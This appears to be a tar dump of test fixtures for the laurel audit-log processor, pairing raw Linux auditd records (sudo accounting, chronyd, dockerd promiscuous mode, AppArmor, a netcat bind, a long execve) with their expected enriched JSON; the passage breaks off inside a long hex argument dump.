laurel-0.7.1/src/testdata/line-user-acct.txt000064400000000000000000000003471046102023000170750ustar 00000000000000type=USER_ACCT msg=audit(1615113648.981:15220): pid=9460 uid=1000 auid=1000 ses=1 msg='op=PAM:accounting grantors=pam_permit acct="user" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'UID="user" AUID="user" laurel-0.7.1/src/testdata/record-adjntpval.json000064400000000000000000000012351046102023000176500ustar 00000000000000{"ID":"1640024915.264:4237","TIME_ADJNTPVAL":[{"op":"freq","old":"-37201248256000","new":"-37237817344000"}],"SYSCALL":{"arch":"0xc000003e","syscall":159,"success":"yes","exit":0,"items":0,"ppid":1,"pid":820,"auid":4294967295,"uid":995,"gid":991,"euid":995,"suid":995,"fsuid":995,"egid":991,"sgid":991,"fsgid":991,"tty":"(none)","ses":4294967295,"comm":"chronyd","exe":"/usr/sbin/chronyd","subj":"system_u:system_r:chronyd_t:s0","key":null,"ARCH":"x86_64","SYSCALL":"adjtimex","AUID":"unset","UID":"chrony","GID":"chrony","EUID":"chrony","SUID":"chrony","FSUID":"chrony","EGID":"chrony","SGID":"chrony","FSGID":"chrony","ARGV":["0x7ffeaf991370","0x0","0x2710","0x0"]}} laurel-0.7.1/src/testdata/record-adjntpval.txt000064400000000000000000000012031046102023000175110ustar 00000000000000type=TIME_ADJNTPVAL msg=audit(1640024915.264:4237): op=freq old=-37201248256000 new=-37237817344000 type=SYSCALL msg=audit(1640024915.264:4237): arch=c000003e syscall=159 success=yes exit=0 a0=7ffeaf991370 a1=0 a2=2710 a3=0 items=0 ppid=1 pid=820 auid=4294967295 uid=995 gid=991 euid=995 suid=995 fsuid=995 egid=991 sgid=991 fsgid=991 tty=(none) ses=4294967295 comm="chronyd" exe="/usr/sbin/chronyd" subj=system_u:system_r:chronyd_t:s0 key=(null)ARCH=x86_64 SYSCALL=adjtimex AUID="unset" UID="chrony" GID="chrony" EUID="chrony" SUID="chrony" FSUID="chrony" EGID="chrony" SGID="chrony" FSGID="chrony" type=EOE msg=audit(1640024915.264:4237): laurel-0.7.1/src/testdata/record-anom-promiscuous.json000064400000000000000000000014201046102023000212010ustar 00000000000000{"ID":"1708689989.768:339749193","ANOM_PROMISCUOUS":[{"dev":"veth5f40f62","prom":256,"old_prom":0,"auid":4294967295,"uid":0,"gid":0,"ses":4294967295,"AUID":"unset","UID":"root","GID":"root"}],"SYSCALL":{"arch":"0xc000003e","syscall":44,"success":"yes","exit":40,"items":0,"ppid":1,"pid":13877,"auid":4294967295,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":4294967295,"comm":"dockerd","exe":"/usr/bin/dockerd","key":null,"ARCH":"x86_64","SYSCALL":"sendto","AUID":"unset","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0xe","0xc002e50000","0x28","0x0"]},"SOCKADDR":[{"saddr":"%10%00%00%00%00%00%00%00%00%00%00%00","SADDR":"{fam=netlink nlnk-fam=16 nlnk-pid=0}"}]} laurel-0.7.1/src/testdata/record-anom-promiscuous.txt000064400000000000000000000014141046102023000210520ustar 00000000000000type=ANOM_PROMISCUOUS msg=audit(1708689989.768:339749193): dev=veth5f40f62 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295AUID="unset" UID="root" GID="root" type=SYSCALL msg=audit(1708689989.768:339749193): arch=c000003e syscall=44 success=yes exit=40 a0=e a1=c002e50000 a2=28 a3=0 items=0 ppid=1 pid=13877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="dockerd" exe="/usr/bin/dockerd" key=(null)ARCH=x86_64 SYSCALL=sendto AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=SOCKADDR msg=audit(1708689989.768:339749193): saddr=100000000000000000000000SADDR={ fam=netlink nlnk-fam=16 nlnk-pid=0 } type=EOE msg=audit(1708689989.768:339749193): laurel-0.7.1/src/testdata/record-avc-apparmor.json000064400000000000000000000014001046102023000202470ustar 00000000000000{"ID":"1634728455.294:53732","SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":19577,"items":0,"ppid":3981294,"pid":3981295,"auid":4294967295,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":4294967295,"comm":"apparmor_parser","exe":"/usr/sbin/apparmor_parser","subj":"unconfined","key":null,"ARCH":"x86_64","SYSCALL":"write","AUID":"unset","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x7","0x560174cd7790","0x4c79","0x0"]},"AVC":[{"apparmor":"STATUS","operation":"profile_replace","info":"same as current profile, skipping","profile":"unconfined","name":"snap-update-ns.amazon-ssm-agent","pid":3981295,"comm":"apparmor_parser"}]} laurel-0.7.1/src/testdata/record-avc-apparmor.txt000064400000000000000000000013461046102023000201260ustar 00000000000000type=SYSCALL msg=audit(1634728455.294:53732): arch=c000003e syscall=1 success=yes exit=19577 a0=7 a1=560174cd7790 a2=4c79 a3=0 items=0 ppid=3981294 pid=3981295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="apparmor_parser" exe="/usr/sbin/apparmor_parser" subj=unconfined key=(null)ARCH=x86_64 SYSCALL=write AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=AVC msg=audit(1634728455.294:53732): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap-update-ns.amazon-ssm-agent" pid=3981295 comm="apparmor_parser" type=EOE msg=audit(1634728455.294:53732): laurel-0.7.1/src/testdata/record-bind-ipv4-bigendian.json000064400000000000000000000007111046102023000213750ustar 00000000000000{"ID":"1708028025.033:10","SYSCALL":{"arch":"0x80000015","syscall":327,"success":"yes","exit":0,"items":0,"ppid":2649,"pid":2650,"auid":0,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts1","ses":1,"comm":"nc","exe":"/usr/bin/nc.openbsd","key":null,"ARGV":["0x3","0x33ee202d0","0x10","0x7fffe9628078"]},"SOCKADDR":[{"saddr":"%00%02%d9%03%00%00%00%00%00%00%00%00%00%00%00%00"}],"PROCTITLE":{"ARGV":["nc","-l","-p","55555"]}} laurel-0.7.1/src/testdata/record-bind-ipv4-bigendian.txt000064400000000000000000000007471046102023000212540ustar 00000000000000type=SYSCALL msg=audit(1708028025.033:10): arch=80000015 syscall=327 success=yes exit=0 a0=3 a1=33ee202d0 a2=10 a3=7fffe9628078 items=0 ppid=2649 pid=2650 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="nc" exe="/usr/bin/nc.openbsd" key=(null) type=SOCKADDR msg=audit(1708028025.033:10): saddr=0002D903000000000000000000000000 type=PROCTITLE msg=audit(1708028025.033:10): proctitle=6E63002D6C002D70003535353535 type=EOE msg=audit(1708028025.033:10): laurel-0.7.1/src/testdata/record-execve-long.json000064400000000000000000000223201046102023000200770ustar 00000000000000{"ID":"1615150974.493:21028","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":10881,"pid":8832,"auid":1000,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"pts1","ses":1,"comm":"echo","exe":"/usr/bin/echo","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"user","GID":"user","EUID":"user","SUID":"user","FSUID":"user","EGID":"user","SGID":"user","FSGID":"user","ARGV":["0x593d4c9f5f50","0x593d4c9adc80","0x593d4c9c38a0","0xfffffffffffff878"]},"EXECVE":{"argc":2,"ARGV":["/bin/echo","baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaacdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaefaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag"]},"CWD":{"cwd":"/tmp"},"PATH":[{"item":0,"name":"/bin/echo","inode":261073,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":262146,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["/bin/echo","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]}} laurel-0.7.1/src/testdata/record-execve-long.txt000064400000000000000000000430321046102023000177500ustar 00000000000000type=SYSCALL msg=audit(1615150974.493:21028): arch=c000003e syscall=59 success=yes exit=0 a0=593d4c9f5f50 a1=593d4c9adc80 a2=593d4c9c38a0 a3=fffffffffffff878 items=2 ppid=10881 pid=8832 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=1 comm="echo" exe="/usr/bin/echo" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" type=EXECVE msg=audit(1615150974.493:21028): argc=2 a0="/bin/echo" a1_len=16384 a1[0]=6261616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616